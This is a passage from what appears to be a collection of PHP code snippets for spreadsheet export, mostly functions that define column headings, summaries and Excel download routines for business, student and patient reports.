$row;\n }", "public function getSummary();", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "abstract function getheadings();", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals, create_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals,\n\t\t\t\tcreate_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public static function excelStateHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Qualification type',\n 'Employer size'\n ];\n }", "public static function excelSkillsShortagesHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "function styleHeaderExcel()\n{\n $styleHeader = array(\n 'font' => array(\n 'size' => 16,\n 'name' => 'Calibri',\n ), 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n ), 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR,\n 'rotation' => 90,\n 'startcolor' => array(\n 'argb' => 'B5B5B5',\n ), 'endcolor' => array(\n 'argb' => 'E0E0E0',\n ),\n ),\n );\n return $styleHeader;\n}", "public function getSummary()\n {\n return $this->getFieldArray('520');\n }", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public function summary();", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "public function export_summary($id)\n {\n $results = $this->Warehouse_model->getAllDetails($id);\n $FileTitle = 'warehouse Summary Report';\n\n $this->load->library('excel');\n //activate worksheet number 1\n $this->excel->setActiveSheetIndex(0);\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Report Sheet');\n //set cell A1 content with some text\n $this->excel->getActiveSheet()->setCellValue('B1', 'Product Details');\n\n $this->excel->getActiveSheet()->setCellValue('A3', 'DN No.');\n $this->excel->getActiveSheet()->setCellValue('B3', (!empty($results) ? $results[0]->dn_number : \"\"));\n $this->excel->getActiveSheet()->setCellValue('D3', ' Date');\n $this->excel->getActiveSheet()->setCellValue('E3', (!empty($results) ? $results[0]->warehouse_date : \"\"));\n $this->excel->getActiveSheet()->setCellValue('G3', 'Received From');\n $this->excel->getActiveSheet()->setCellValue('H3', (!empty($results) ? $results[0]->employee_name : \"\"));\n\n $this->excel->getActiveSheet()->setCellValue('A5', 'Category Name');\n $this->excel->getActiveSheet()->setCellValue('B5', 'Product Type Name');\n $this->excel->getActiveSheet()->setCellValue('C5', 'Product Name');\n $this->excel->getActiveSheet()->setCellValue('D5', 'total_Quantity');\n $this->excel->getActiveSheet()->setCellValue('E5', 'Product Price');\n $this->excel->getActiveSheet()->setCellValue('F5', 'Total Amount');\n $this->excel->getActiveSheet()->setCellValue('G5', 'GST %');\n $this->excel->getActiveSheet()->setCellValue('H5', 'HSN');\n $this->excel->getActiveSheet()->setCellValue('I5', 'Markup %.');\n\n $a = '6';\n $sr = 1;\n $qty = 0;\n $product_mrp = 0;\n $total = 0;\n $totalGST = 0;\n $finalTotal = 0;\n //print_r($results);exit;\n foreach ($results as $result) {\n\n /*$total = $result->sum + $result->transport ;\n $returnAmt = $this->Crud_model->GetData('purchase_returns','sum(return_amount) as return_amount',\"purchase_order_id='\".$result->id.\"'\",'','','','single');\n $total = $total - $returnAmt->return_amount;*/\n\n $this->excel->getActiveSheet()->setCellValue('A' . $a, $result->title);\n $this->excel->getActiveSheet()->setCellValue('B' . $a, $result->type);\n $this->excel->getActiveSheet()->setCellValue('C' . $a, $result->asset_name);\n $this->excel->getActiveSheet()->setCellValue('D' . $a, $result->total_quantity);\n $this->excel->getActiveSheet()->setCellValue('E' . $a, \"Rs. \" . number_format($result->product_mrp, 2));\n $this->excel->getActiveSheet()->setCellValue('F' . $a, \"Rs. \" . number_format($result->total_quantity * $result->product_mrp, 2));\n $this->excel->getActiveSheet()->setCellValue('G' . $a, $result->gst_percent);\n $this->excel->getActiveSheet()->setCellValue('H' . $a, $result->hsn);\n $this->excel->getActiveSheet()->setCellValue('I' . $a, $result->markup_percent);\n //$this->excel->getActiveSheet()->setCellValue('G'.$a, $result->status);\n //$this->excel->getActiveSheet()->setCellValue('H'.$a, $total);\n $sr++;\n $a++;\n $qty += $result->total_quantity;\n $product_mrp += $result->product_mrp;\n $total += $result->total_quantity * $result->product_mrp;\n $totalGST += (($result->gst_percent / 100) * ($total));\n }\n $this->excel->getActiveSheet()->setCellValue('D' . $a, $qty);\n $this->excel->getActiveSheet()->setCellValue('E' . $a, \"Rs. \" . number_format($product_mrp, 2));\n $this->excel->getActiveSheet()->setCellValue('F' . $a, \"Rs. \" . number_format($total, 2));\n\n $this->excel->getActiveSheet()->setCellValue('E' . ($a + 1), \"Total GST Amount\");\n $this->excel->getActiveSheet()->setCellValue('F' . ($a + 1), \"Rs. \" . number_format($totalGST, 2));\n\n $this->excel->getActiveSheet()->setCellValue('E' . ($a + 2), \"TFinal Total Amount\");\n $this->excel->getActiveSheet()->setCellValue('F' . ($a + 2), \"Rs. \" . number_format($totalGST + $total, 2));\n\n $this->excel->getActiveSheet()->getStyle('B1')->getFont()->setSize(14);\n $this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('B3')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('E3')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('G3')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('A5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('B5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('C5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('D5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('E5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('F5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('G5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('H5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('I5')->getFont()->setBold(true);\n //$this->excel->getActiveSheet()->getStyle('G3')->getFont()->setBold(true);\n //$this->excel->getActiveSheet()->getStyle('H3')->getFont()->setBold(true);\n //$this->excel->getActiveSheet()->mergeCells('A1:H1');\n $this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\n $filename = '' . $FileTitle . '.xls'; //save our workbook as this file name\n header('Content-Type: application/vnd.ms-excel'); //mime type\n header('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n header('Cache-Control: max-age=0'); //no cache\n ob_clean();\n\n //save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\n //if you want to save it as .XLSX Excel 2007 format\n $objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n //force user to download the Excel file without writing it to server's HD\n $objWriter->save('php://output');\n }", "public function headingRow(): int\n {\n return 1;\n }", "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "public function getSummary(): string;", "function header() {\n //\n //Get the fields in this sql \n $cols= $this->fields->get_array();\n //\n //Loop through the fields and display the <tds>\n foreach ($cols as $col) {\n //\n $name= is_null($col->alias) ? $col->to_str():$col->alias;\n echo \"<th>$name</th>\"; \n }\n }", "public function createExcelReport(\\PhpOffice\\PhpSpreadsheet\\Spreadsheet $spreadSheet){\n\t\t$wsResumen = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Resumen');\n\t\t$wsDatos = new \\PhpOffice\\PhpSpreadsheet\\Worksheet\\Worksheet($spreadSheet, 'Datos');\n\t\t//2. Escribe los datos sobre las hojas de cáculo\n\t\t//2.1. Escribe lo datos de la primera hoja\n\t\t//2.1.1. Inconsistencias por tipo\n\t\t$wsResumen->setCellValue(\"A3\",\"Inconsistencias por tipo\");\n\t\t$wsResumen->setCellValue(\"A4\",\"Desfase horario\");\n\t\t$wsResumen->setCellValue(\"A5\",\"Programación no coincide\");\n\t\t$wsResumen->setCellValue(\"A6\",\"Otros\");\n\t\t$wsResumen->setCellValue(\"A7\",\"Total\");\n\t\t//2.1.2. Inconsistencias por motivo\n\t\t$wsResumen->setCellValue(\"A9\",\"Inconsistencias por motivo\");\n\t\t$wsResumen->setCellValue(\"A10\",\"Origen\");\n\t\t$wsResumen->setCellValue(\"A11\",\"Error humano\");\n\t\t$wsResumen->setCellValue(\"A12\",\"Evento en vivo\");\n\t\t$wsResumen->setCellValue(\"A13\",\"Total\");\n\t\t//2.1.3. Inconsistencias por programadora\n\t\t$wsResumen->setCellValue(\"A15\",\"Inconsistencias por casa programadora\");\n\n\t\t//2.2. Escribe lo datos de la segunda hoja\n\t\t$wsDatos->setCellValue(\"A1\",\"Fecha-Hora Reporte\");\n\t\t$wsDatos->setCellValue(\"B1\",\"Fecha-Hora Evento\");\n\t\t$wsDatos->setCellValue(\"C1\",\"ID Evento\");\n\t\t$wsDatos->setCellValue(\"D1\",\"Título Evento\");\n\t\t$wsDatos->setCellValue(\"E1\",\"ID Canal\");\n\t\t$wsDatos->setCellValue(\"F1\",\"Nombre Canal\");\n\t\t$wsDatos->setCellValue(\"G1\",\"Casa Programadora\");\n\t\t$wsDatos->setCellValue(\"H1\",\"Tipo Error\");\n\t\t$wsDatos->setCellValue(\"I1\",\"Motivo Error\");\n\t\t$wsDatos->setCellValue(\"J1\",\"Desafase\");\n\t\t$wsDatos->setCellValue(\"K1\",\"Transmitiendo\");\n\t\t$wsDatos->setCellValue(\"L1\",\"Usuario\");\n\n\t\t$totals = $this->calculateTotals();\n\t\t$wsResumen = $this->setResumenPage($wsResumen,$totals);\n\t\t$wsDatos = $this->setDataPage($wsDatos);\t\t\n\t\t//Vincula las hojas al documento\n\t\t$spreadSheet->addSheet($wsResumen, 0);\n\t\t$spreadSheet->addSheet($wsDatos, 1);\n\t\treturn $spreadSheet;\n\n\n\t}", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "public function header($Arr_Labels=false)\n\t{\n\t\t$this->Arr_Labels = $Arr_Labels;\n\n $Int_Column = 0;\n if ($Arr_Labels)\n {\n\t foreach ($Arr_Labels as $Str_Field => $Str_Label)\n\t\t\t{\n $Str_Column = $Str_Label;\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t\t\t\t$Int_Column++;\n\t }\n\t\t}\n\t\telseif (isset($this->Arr_Data[0]))\n\t\t{\n\t foreach ($this->Arr_Data[0] as $Str_Field => $Str_Label)\n\t\t\t{\n\t\t\t\t$Int_Column++;\n $Str_Column = Inflector::humanize($Str_Field);\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t }\n\t\t}\n\n\t\t//Set the worksheet styles.\n $this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->getStartColor()->setRGB('ffffff');\n $this->Obj_Doc->getActiveSheet()->duplicateStyle( $this->Obj_Doc->getActiveSheet()->getStyle('A1'), 'B1:'.$this->Obj_Doc->getActiveSheet()->getHighestColumn().'1');\n\n\t\tfor ($i = 1; $i <= $Int_Column; $i++)\n\t\t{\n $this->Obj_Doc->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true);\n }\n\n\t\treturn $this;\n\t}", "protected function addheader($filename)\n {\n $excelObject = PHPExcel_IOFactory::load($filename);\n //$excelObject = new PHPExcel();\n $excelObject->getProperties()\n ->setCreator(\"Gemstracker\")\n ->setLastModifiedBy(\"Gemstracker\")\n ->setTitle($this->model->getName());\n\n $activeSheet = $excelObject->getActiveSheet();\n\n $columnHeaders = $this->getColumnHeaders();\n $row = 1;\n\n $exportName = $this->getName();\n\n $i=0;\n $cell = 'A1';\n foreach($columnHeaders as $columnName=>$columnHeader) {\n $column = $this->getColumn($i);\n $cell = $column . $row;\n if (isset($this->data[$exportName]) && isset($this->data[$exportName]['format']) && in_array('formatVariable', $this->data[$exportName]['format'])) {\n $activeSheet->setCellValue($cell, $columnHeader);\n } else {\n $activeSheet->setCellValue($cell, $columnName);\n }\n if ($excelCellSize = $this->model->get($columnName, 'excelCellSize')) {\n $activeSheet->getColumnDimension($column)->setWidth($excelCellSize);\n } else {\n $activeSheet->getColumnDimension($column)->setAutoSize(true);\n }\n $i++;\n }\n\n $activeSheet->getStyle(\"A1:$cell\")->getFont()->setBold(true);\n\n $objWriter = PHPExcel_IOFactory::createWriter($excelObject, \"Excel2007\");\n $objWriter->save($filename);\n }", "public function makeComStatsExcelSheet($data)\n\t{\n\t\t/** Reading Excel with PHPExcel_IOFactory */\n\t\trequire_once 'PHPExcel/IOFactory.php';\n\n\t\t$objReader = PHPExcel_IOFactory::createReader('Excel5');\n\t\t\n\t\t// template file\n\t\t$objPHPExcel = $objReader->load(APPLICATION_PATH . '/../data/templates/com-stats-tpl.xls');\n\t}", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nGROUP BY Command\nMAINHEADING;\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "function extract(){\n $datamine_row = $datamine_col = $header = array();\n $i = 0; $j = 0;\n \n // Groups all excel data by row\n for ($row = 1; $row <= $this->highestRow; $row++) {\n $rowData = $this->sheet->rangeToArray('A' . $row . ':' . $this->highestColumn . $row, null, true, false);\n if(empty($header)){\n $header=$rowData[0];\n }else{\n for($col=0;$col<count($header);$col++){\n $datamine_row[$i][$header[$col]] = $rowData[0][$col]; \n }\n $i++;\n }\n }\n $this->data_row = $datamine_row;\n \n // Re-group all excel data by column\n foreach($datamine_row as $data){\n foreach($header as $grp){\n $datamine_col[$grp][$j] = $data[$grp];\n }\n $j++;\n }\n $this->data_col = $datamine_col;\n }", "function getSummary() {\n\t\treturn $this->data_array['summary'];\n\t}", "public function headings(): array\n {\n return [\n '#ID',\n 'APELLIDO',\n 'NOMBRE',\n 'EMAIL',\n 'ROLE',\n 'PERMISOS ADICIONALES',\n 'FECHA DE CREACIÓN',\n ];\n }", "public function getHeading(): string;", "public static function excelPlansAndProjectsHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Region',\n 'Industry',\n ];\n }", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "public function export() \n \t\t{\n \t\t$data = $this->model_patient->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data Pasien SN Health Center');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:K')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:K1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR PASIEN APLIKASI SN HEALTH CENTER');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nomor Registrasi');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Nomor KTP');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Agama');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Pekerjaan');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Nomor HP');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('K2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:K2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(25);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('K')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->patient_noregis);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, strval($v->patient_noktp));\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->patient_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->patient_sex);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->patient_datebirth);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->patient_religion);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->patient_job);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->patient_phone);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->patient_address);\n\t\t\t\t\t\t\n\t\t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('K' . $no, $v->patient_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:K' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar Pasien Aplikasi SN Health Center.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/patient');\n \t\t}", "abstract protected function getRowsHeader(): array;", "function summary() {\n return NULL;\n // return array(\n // 'summary' => 'This is a summary',\n // 'total' => 50.0,\n // );\n }", "function summary() {\n return NULL;\n // return array(\n // 'summary' => 'This is a summary',\n // 'total' => 50.0,\n // );\n }", "public function getSummary()\n {\n $arr = array(\n 'Registration Number' => $this->registrationNumber,\n 'Department Name' => $this->departmentName,\n 'First Name' => $this->firstName,\n 'Middle Initial' => $this->middleInitial,\n 'Last Name' => $this->lastName,\n 